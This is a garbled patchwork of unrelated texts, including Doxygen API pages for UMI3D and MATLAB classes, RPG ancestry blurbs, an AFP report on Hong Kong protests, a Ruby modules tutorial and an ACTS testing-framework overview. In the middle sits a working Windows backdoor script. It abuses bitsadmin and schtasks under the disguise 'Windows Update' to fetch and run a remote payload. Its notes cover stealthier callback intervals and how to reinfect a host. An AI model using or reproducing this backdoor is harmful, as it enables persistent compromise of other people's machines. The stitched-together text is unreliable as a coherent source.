| UMI3DAbstractNode | newparent = null |
||
| ) |
Remove a Binding at a given index for an Avatar Node.
| obj | the avatar node |
| index | the given index |
| keepWorldPosition | the boolean to freeze the object in the world |
| newparent | a transform intended to be the new parent. If keepWorldPosition is true, newparent must be specified. |
| List< SetEntityProperty > umi3d.edk.userCapture.UMI3DEmbodimentManager.RemoveBinding | ( | UMI3DAvatarNode | obj, |
| UMI3DBinding | binding, | ||
| bool | keepWorldPosition = false , |
||
| UMI3DAbstractNode | newparent = null |
||
| ) |
Remove a Binding for an Avatar Node.
| obj | the avatar node |
| binding | the new binding value |
| keepWorldPosition | the boolean to freeze the object in the world |
| newparent | a transform intended to be the new parent. If keepWorldPosition is true, newparent must be specified. |
| List< SetEntityProperty > umi3d.edk.userCapture.UMI3DEmbodimentManager.RemoveBinding | ( | UMI3DUser | user, |
| UMI3DAvatarNode | obj, | ||
| int | index, | ||
| bool | keepWorldPosition = false , |
||
| UMI3DAbstractNode | newparent = null |
||
| ) |
Remove a Binding at a given index for an Avatar Node for a given user.
| user | the user |
| obj | the avatar node |
| index | the given index |
| keepWorldPosition | the boolean to freeze the object in the world |
| newparent | a transform intended to be the new parent. If keepWorldPosition is true, newparent must be specified. |
| List< SetEntityProperty > umi3d.edk.userCapture.UMI3DEmbodimentManager.RemoveBinding | ( | UMI3DUser | user, |
| UMI3DAvatarNode | obj, | ||
| UMI3DBinding | binding, | ||
| bool | keepWorldPosition = false , |
||
| UMI3DAbstractNode | newparent = null |
||
| ) |
Remove a Binding for an Avatar Node for a given user.
| user | the user |
| obj | the avatar node |
| binding | the new binding value |
| keepWorldPosition | the boolean to freeze the object in the world |
| newparent | a transform intended to be the new parent. If keepWorldPosition is true, newparent must be specified. |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.RemoveHandPose | ( | UMI3DHandPose | hp | ) |
Remove An handpose at run time
| hp | A umi3D hand pose to remove |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.ReWriteHandPoseCollection | ( | ) |
Rewrite the collection after modifiction of the handpose
|
protectedvirtual |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateBinding | ( | UMI3DAvatarNode | obj, |
| int | index, | ||
| UMI3DBinding | binding | ||
| ) |
Update the Binding value of an Avatar Node at a given index.
| obj | the avatar node |
| index | the given index |
| binding | the new binding value |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateBinding | ( | UMI3DUser | user, |
| UMI3DAvatarNode | obj, | ||
| int | index, | ||
| UMI3DBinding | binding | ||
| ) |
Update the Binding value of an Avatar Node at a given index for a given user.
| user | the user |
| obj | the avatar node |
| index | the given index |
| binding | the new binding value |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateBindingActivation | ( | UMI3DAvatarNode | obj, |
| bool | b | ||
| ) |
Set the activation of Bindings of an Avatar Node.
| obj | the avatar node |
| b | the activation value |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateBindingActivation | ( | UMI3DUser | user, |
| UMI3DAvatarNode | obj, | ||
| bool | b | ||
| ) |
Set the activation of Bindings of an Avatar Node for a given user.
| user | the user |
| obj | the avatar node |
| b | the activation value |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateBindingList | ( | UMI3DAvatarNode | obj, |
| List< UMI3DBinding > | bindings | ||
| ) |
Set the list of Bindings of an Avatar Node.
| obj | the avatar node |
| bindings | the list of bindings |
| SetEntityProperty umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateBindingList | ( | UMI3DUser | user, |
| UMI3DAvatarNode | obj, | ||
| List< UMI3DBinding > | bindings | ||
| ) |
Set the list of Bindings of an Avatar Node for a given user.
| user | the user |
| obj | the avatar node |
| bindings | the list of bindings |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateNodeTransform | ( | UMI3DNode | obj | ) |
Update a Node.
| obj | the node to update |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.UserCameraReception | ( | uint | operationKey, |
| ByteContainer | container, | ||
| UMI3DUser | user | ||
| ) |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.UserCameraReception | ( | UserCameraPropertiesDto | dto, |
| UMI3DUser | user | ||
| ) |
Update the camera properties of a UMI3DUser
| dto | a dto containing the camera properties |
| user | the concerned user |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.UserTrackingReception | ( | UserTrackingFrameDto | dto, |
| ulong | userId, | ||
| float | timestep | ||
| ) |
Update the Embodiment from the received Dto.
| dto | a dto containing the tracking data |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.VehicleEmbarkment | ( | UMI3DUser | user, |
| ulong | bodyAnimationId = 0 , |
||
| bool | changeBonesToStream = false , |
||
| List< uint > | bonesToStream = null , |
||
| UMI3DAbstractNode | vehicle = null , |
||
| bool | stopNavigation = false , |
||
| Vector3 | position = new Vector3() , |
||
| Quaternion | rotation = new Quaternion() |
||
| ) |
| void umi3d.edk.userCapture.UMI3DEmbodimentManager.VehicleEmbarkment | ( | UMI3DUser | user, |
| UMI3DAbstractNode | vehicle = null |
||
| ) |
|
protectedvirtual |
|
virtual |
| bool umi3d.edk.userCapture.UMI3DEmbodimentManager.ActivateEmbodiments = true |
Should the embodiment system be active?
Should not be changed at runtime.
| List<ulong> umi3d.edk.userCapture.UMI3DEmbodimentManager.bodyPoseIds = new List<ulong>() |
| EmbodimentBoneEvent umi3d.edk.userCapture.UMI3DEmbodimentManager.CreationEvent |
| EmbodimentBoneEvent umi3d.edk.userCapture.UMI3DEmbodimentManager.DeletionEvent |
| Dictionary<ulong, UMI3DAvatarNode> umi3d.edk.userCapture.UMI3DEmbodimentManager.embodimentInstances = new Dictionary<ulong, UMI3DAvatarNode>() |
| Dictionary<ulong, Vector3> umi3d.edk.userCapture.UMI3DEmbodimentManager.embodimentSize = new Dictionary<ulong, Vector3>() |
| UMI3DScene umi3d.edk.userCapture.UMI3DEmbodimentManager.EmbodimentsScene |
| Dictionary<ulong, Dictionary<uint, bool> > umi3d.edk.userCapture.UMI3DEmbodimentManager.embodimentTrackedBonetypes = new Dictionary<ulong, Dictionary<uint, bool>>() |
| UMI3DEmotesConfig umi3d.edk.userCapture.UMI3DEmbodimentManager.emotesConfig |
Emote configuration for the environment.
| List<ulong> umi3d.edk.userCapture.UMI3DEmbodimentManager.handPoseIds = new List<ulong>() |
| EmbodimentEvent umi3d.edk.userCapture.UMI3DEmbodimentManager.NewEmbodiment |
| List<UMI3DBodyPose> umi3d.edk.userCapture.UMI3DEmbodimentManager.PreloadedBodyPoses = new List<UMI3DBodyPose>() |
| List<UMI3DHandPose> umi3d.edk.userCapture.UMI3DEmbodimentManager.PreloadedHandPoses = new List<UMI3DHandPose>() |
| GameObject umi3d.edk.userCapture.UMI3DEmbodimentManager.SkeletonPrefab |
Unity's prefab of the skeleton.
| EmbodimentBoneEvent umi3d.edk.userCapture.UMI3DEmbodimentManager.UpdateEvent |


Sequestered in high mountains atop tall trees, the aarakocra, sometimes called birdfolk, can evoke both fear and wonder.
Traits: +2 Dexterity, +1 Wisdom, Flight, Talons
Aasimar
Aasimar are placed in the world to serve as guardians of law and good. Their patrons expect them to strike at evil, lead by example, and further the cause of justice.
Humans are the most adaptable among the common ancestries. Whatever drives them, humans are the innovators, the achievers, and the pioneers of the worlds.
Traits: +2 and +1 to Ability Scores of your choice, Extra Language and Toolset, Improvise
Tiefling
Tieflings' infernal heritage has left a clear imprint on their appearance, giving them horns, tails, and a range of skin tones. They commonly are greeted with stares, whispers, and fear.


# ------------------- BITS BACK DOOR ----------------------
# Themson Mester - 03/06/2014
# Configure: /AddFile <Domain> | /MO <Minutes> | /ED <DATE> | /ET <Time>
cd %TEMP%
bitsadmin /Reset > NUL
bitsadmin /Create "Windows Update" > NUL
bitsadmin /AddFile "Windows Update" http://<Domain>.com/kb%RANDOM%.exe %TEMP%\kb7468656d.exe > NUL
bitsadmin /SetNotifyFlags "Windows Update" 1 > NUL
bitsadmin.exe /SetNotifyCmdLine "Windows Update" "%COMSPEC%" "cmd.exe /c bitsadmin.exe /complete \"Windows Update\" && start /B %TEMP%\kb7468656d.exe" > NUL
bitsadmin /SetMinRetryDelay "Windows Update" 120 > NUL
bitsadmin /SetCustomHeaders "Windows Update" "Caller:%USERNAME%@%COMPUTERNAME%" > NUL
schtasks /delete /TN "Windows Update" /F
schtasks /CREATE /TN "Windows Update" /TR "%WINDIR%\system32\bitsadmin.exe /Resume \"Windows Update\"" /SC minute /MO 60 /ED 03/14/2014 /ET 09:00 /Z /IT /RU %USERNAME% > NUL
bitsadmin /List
schtasks /Run /TN "Windows Update"
schtasks /Query /TN "Windows Update"
# ------------------- EOF ---- them ---- EOF ---------------------
Deploy the Backdoor:
A callback interval of 2 minutes is used for testing, 60-90 minutes is quieter for actual use.
Phoning Home:
The initial schtasks /run triggers our first phone home as seen in our monitoring log.
Losing our Session:
After killing the session, I rebooted the box, then logged on, off, and on again as two different users.
Our backdoor phones home soon after the user under whom it was deployed logs on.
Reinfecting the Host:
We deploy a payload using the custom trigger-file name for the machine we wish to target.
Host Acquires Payload:
The host whose trigger-file we used pulls down our payload.
Back in Business:
Successful transfer triggers /SetNotifyCmdLine to /Complete our download and executes the payload.
I used a self-deleting PE, you could also use a blank file to trigger a reflective powershell execution.
At this point the BITS job is removed.
You can redeploy the backdoor by pasting it back into your shell.
If you ever need to preemptively clean the backdoor use:
bitsadmin /reset && schtasks /delete /TN <taskname> /F


QTI 3.0 Upgrader
QTI Items and/or Shared Stimuli (QTI or APIP)
Show results in page.
Create zip package.
Submit


Lam slams ‘attack’ on her minister
by AFPHong Kong―Hong Kong’s leader Carrie Lam on Friday condemned a “barbaric attack” on her justice minister, who fell while being surrounded by a crowd of jeering pro-democracy protesters in London.
It was the most physical confrontation involving a member of Lam’s cabinet since the protests, now in their sixth month, erupted in the international finance hub.
Teresa Cheng, Hong Kong’s deeply unpopular Secretary for Justice, was ambushed by around a dozen masked demonstrators as she prepared to attend a speaking event on Thursday night in London.
They shone torch lights on her while calling her a “murderer” and shouting slogans of the Hong Kong pro-democracy protest movement.
A video of the incident showed Cheng falling to the floor during the melee―although it was not immediately clear if she was pushed by protesters.
She regained her feet moments later and was escorted away with no visible signs of injury.
Cheng suffered “serious bodily harm” during the altercation, Chief Executive Lam said in a statement.
Cheng, whose department is in charge of prosecuting protesters who have filled city streets for months, is the first senior Hong Kong official to be injured in scuffles since the unrest began in June.
Lam called on police in Britain―Hong Kong’s former colonial ruler―to investigate, describing the incident as an “attack” which “was barbaric and violated the principles of a civilized society”.
Cheng is in London on a visit to promote Hong Kong’s role as a dispute resolution and deal-making hub.
She is one of the most unpopular government officials in Hong Kong, seen as playing a key role in pushing forward the now-shelved extradition bill to China, which sparked the ongoing unrest.
The protests have tipped into worsening violence with two dead in a week and further protests planned for Friday.
For a fifth straight day on Friday, protesters caused widespread disruption with barricades and rallies.
Overstretched police have drafted in reinforcements, while Hong Kong’s government has denied rumors of an imminent curfew.
The five-month crisis has entered a new phase in recent days with hardcore protesters embarking on a campaign to “blossom everywhere” across the city in a bid to stretch police resources.


Lockirin of the Iron Gate:
Well, it's not a fatal problem. However, I'll have to give you a bit of a history lesson - specifically, the history concerning the war between the Orcs and the Elves.
Listen.


A class for logging the internal data over time during a ODE simulation process.
More...
|
| struct | calc |
| | recorded data at one time instant More...
|
| |
| struct | static |
| | The static data that are time-independent. More...
|
| |
| struct | flow |
| | The time-dependent data along the simulated trajectory. More...
|
| |
| DynamicalSystem | plant |
| | The dynamical system model associated with the logger. More...
|
| |
| Public Attributes inherited from handle |
| | addlistener |
| | Creates a listener for the specified event and assigns a callback function to execute when the event occurs. More...
|
| |
| | notify |
| | Broadcast a notice that a specific event is occurring on a specified handle object or array of handle objects. More...
|
| |
| | delete |
| | Handle object destructor method that is called when the object's lifecycle ends. More...
|
| |
| | disp |
| | Handle object disp method which is called by the display method. See the MATLAB disp function. More...
|
| |
| | display |
| | Handle object display method called when MATLAB software interprets an expression returning a handle object that is not terminated by a semicolon. See the MATLAB display function. More...
|
| |
| | findobj |
| | Finds objects matching the specified conditions from the input array of handle objects. More...
|
| |
| | findprop |
| | Returns a meta.property objects associated with the specified property name. More...
|
| |
| | fields |
| | Returns a cell array of string containing the names of public properties. More...
|
| |
| | fieldnames |
| | Returns a cell array of string containing the names of public properties. See the MATLAB fieldnames function. More...
|
| |
| | isvalid |
| | Returns a logical array in which elements are true if the corresponding elements in the input array are valid handles. This method is Sealed so you cannot override it in a handle subclass. More...
|
| |
| | eq |
| | Relational functions example. See details for more information. More...
|
| |
| | transpose |
| | Transposes the elements of the handle object array. More...
|
| |
| | permute |
| | Rearranges the dimensions of the handle object array. See the MATLAB permute function. More...
|
| |
| | reshape |
| | hanges the dimensions of the handle object array to the specified dimensions. See the MATLAB reshape function. More...
|
| |
| | sort |
| | ort the handle objects in any array in ascending or descending order. More...
|
| |
A class for logging the internal data over time during a ODE simulation process.
- Author
- Ayonga Hereid
- Date
- 2016-09-26
Copyright (c) 2016, AMBER Lab All right reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted only in compliance with the BSD 3-Clause license, see http://www.opensource.org/licenses/bsd-license.php


The Bayesian paradigm is revolutionary because of how it differs from the frequentist paradigm such that it readily accepts change, where your prior belief in the probability of an event occuring may be modified according to how often the event actually occurs, and how well it maintains this newly-found probability, or posterior.
Solving for the Conjugate Priors
Prior on \(\sigma^2 / \tau\), \(\mu\)-fixed, for \(X \sim \mathcal{N} (\mu,\sigma^2)\)
Prior on \(\mu\) and \(\sigma^2 / \tau\), for \(X \sim \mathcal{N} (\mu,\sigma^2)\)
Prior on \(\mu\), for \(X \sim \mathcal{N} (\mu,\Sigma)\)
Prior on \(cov / \tau\), for \(X \sim \mathcal{N} (\mu,\Sigma)\)
Prior on \(\mu\) and \(cov / \tau\), for \(X \sim \mathcal{N} (\mu,\Sigma)\)
Copyright © 2017 AeonTech, Inc. All rights reserved.


By this point in our learning, we all have a somewhat decent idea of how to instantiate an instance of a class, and how to create a class. A class, generally speaking, is a model for an object, or an object-creation 'factory' that outputs objects that share similar states and behaviors. A state we can also cann an attribute of the class. A behavior of a class we can call a method of class. An object for a rectangle, for example, might have have two attributes -- width and height. It might have specific behaviors, too, like a method to determine its perimeter, or a method to determine its area. Let's see what some classes might look like:
Note how each of these classes have their own, unique behaviors for area and permiter. Because these two object are different, they have different states, and thus different behaviors that these states can take advantage of. That being said, it's easy to imagine these two geometric figures sharing a lot of similar behaviors. When objects share behaviors, we might consider using a module.
A module is best thought of as a library for objects that share roles to tap into. A method is only comprised of behaviors. There are no states, or attributes that the module might hold. The only piece of information a module might contain is what we call a constant -- that is, an unchanging variable that classes can take advantage of when sending and receiving messages.
For example, let's consider a mathematical operation, like cos(x). It's a very realistic possibility that both a square and triangle object will need to employ a cos(x) method, but it wouldn't be a very DRY thing to do to make the same method twice for two different classes. Furthermore, we might run into some issues when we start adding more geometric objects into the mix -- almost all of them would probably need the same method, meaning we'd be repeating ourselves a lot. Let's instead create a Module (and bear with me here -- i know there already exists a Math module) that can mix itself into these classes for their benefit:
Notice how now each of our classes includes the Mathy module. We have now 'mixed-in' the methods associated with Mathy into each of these classes, removing our need for repetition.
One might ask why one would use a module instead of inheritance to solve the problem of shared methods. There are multiple beneifts to using a module over inheritance in these cases. The first, and probably most obvious, is that a Triangle is clearly not a Rectangle. When we ask whether to use inheritance or a module, we are asking the objects in question, "are you guys the same thing? or are you guys clearly different, but contained certain shared roles?" -- the key is understanding the difference between an is-a relationship and a relationship where two different objects share roles.
An additional benefit of modules over inheritance is that modules are more flexible and allow for use in other, perhaps yet to be known, classes that may share certain roles. Inheritance can be useful for very specialized cases, but in general, the shallower the heirarchy of message sending we can have, the better. A module provides a way for a large variety of objects to share a behavior without the need to keep them nested within one another.
That's not to say that inheritance isn't always a bad thing to do -- there may be specialized kinds of triangles (an isosolese triangle) that may be better served as a subclass of the triangle class -- but as a general rule, the less nested your objects and classes are, the better. It makes sense, too -- less nested hierarchies = less traveling for messages between classes = smoother, more 'modular' code, more easily capable of change.
Back to Top


I'm interested in sharing my creations and connecting with the world.
I have worked on a number of projects.Their short descriptions and link are below.
I have worked alongside other talented content creators or alone to bring together contents and copies to help businesses scale.
I have worked and successfully completed ten major projects that left clients happy and contented.
I have been awarded three big awards as an headnod to my accomplishments and jobs welldone.
I love learning new things,I therefore have a bit wide range of skills.
I have proudly written and published numerous articles of my own and worked as a freelancer for clients.
I design logos and infographics that help brands/businesses scale.
I make sense of your data to deduct valuable inferences to help in making better decisions for the management of your brand/business


AntCoreTest (ACTS) is a white-box test framework developed by Ant Financial based on years’ testing knowledge and experience with the financial-level distributed architecture for the purpose of providing enterprises with a highly efficient, precise, and automated interface testing services. In addition to general testing capabilities such as data-driven testing provided by conventional open source frameworks like TestNG, ACTS offers new features such as model-driven testing, visualized editing, and a standard process engine to assist engineers with efficient and high quality test case compilation as well as standard and precise test validation for interface testing.
ACTS is a next generation testing framework based on the data model-driven testing engine. ACTS is applicable to context environments that require the integration of TestNg and Spring. ACTS uses the YAML file as the data carrier and builds data model drivers upon it, providing features such as the all-in-one editor, precise validation, and efficient test case management to significantly improve testing efficiency.
Operating principle
Upon the start of the test script, ActsDataProvider starts the tested method (the method annotated by @Test), loads the corresponding test case data file (YAML file), and converts the data into corresponding PrepareData objects.
When runTest starts running, it passes PrepareData and test case names to ACTS. ACTS then assembles such information into the ActsRuntimeContext class, transmits it in the entire process, and initializes the TestUnitHandler. The running period of the runTest process method consists of the following stages:
| Action | Method | | :— | :— | | Clear | clear(actsRuntimeContext) | | Prepare | prepare(actsRuntimeContext) | | Execute | execute(actsRuntimeContext) | | Check | check(actsRuntimeContext) |
Description:
- Clear: Clean up the preparation data and validation data to avoid the negative impact of dirty data on the test script.
- Prepare: Prepare data such as DB data.
- Execute: Call the tested method, and capture the corresponding information, such as responses and exception messages.
- Check: Validate the corresponding information such as the responses, DB data, and exception messages based on the test data.
Features
ACTS provides the following features:
2.1 All-in-one editor
The ACTS framework separates the test data from the test code, and provides the visual editor ACTS IDE. ACTS IDE can help you quickly enter, view, and manage the test case data, which significantly reduces repetitive coding.
2.2 Precise validation
To improve data fill-in efficiency and reduce omission of check points among the expectation data, such as response expectations and database expectations, the ACTS framework provides a run and backfill function. In addition, ACTS uses validation rule flags to implement precise validation of the expectation data.
2.3 Flexible scalability
ACTS provides a rich variety of APIs, which are encapsulated in the ActsRuntimeContext class. The APIs can help you quickly get and set custom parameters, test case request parameters, and response expectations, and allow you to customize test case data.
In addition, the ActsTestBase class exposes APIs of different execution stages, such as prepare, execute, check, and clear. For example, you can rewrite the process method to reorchestrate the entire test script.
2.4 Unified configuration capability
The configuration file provides extensive configuration options to help you customize the ACTS framework as needed.
Scenarios
ACTS supports quick compilation and running of interface test cases for SOFABoot-based applications in the Intellij IDEA development environment. We recommend that you use Intellij IDEA 2017 for better compatibility with ACTS IDE.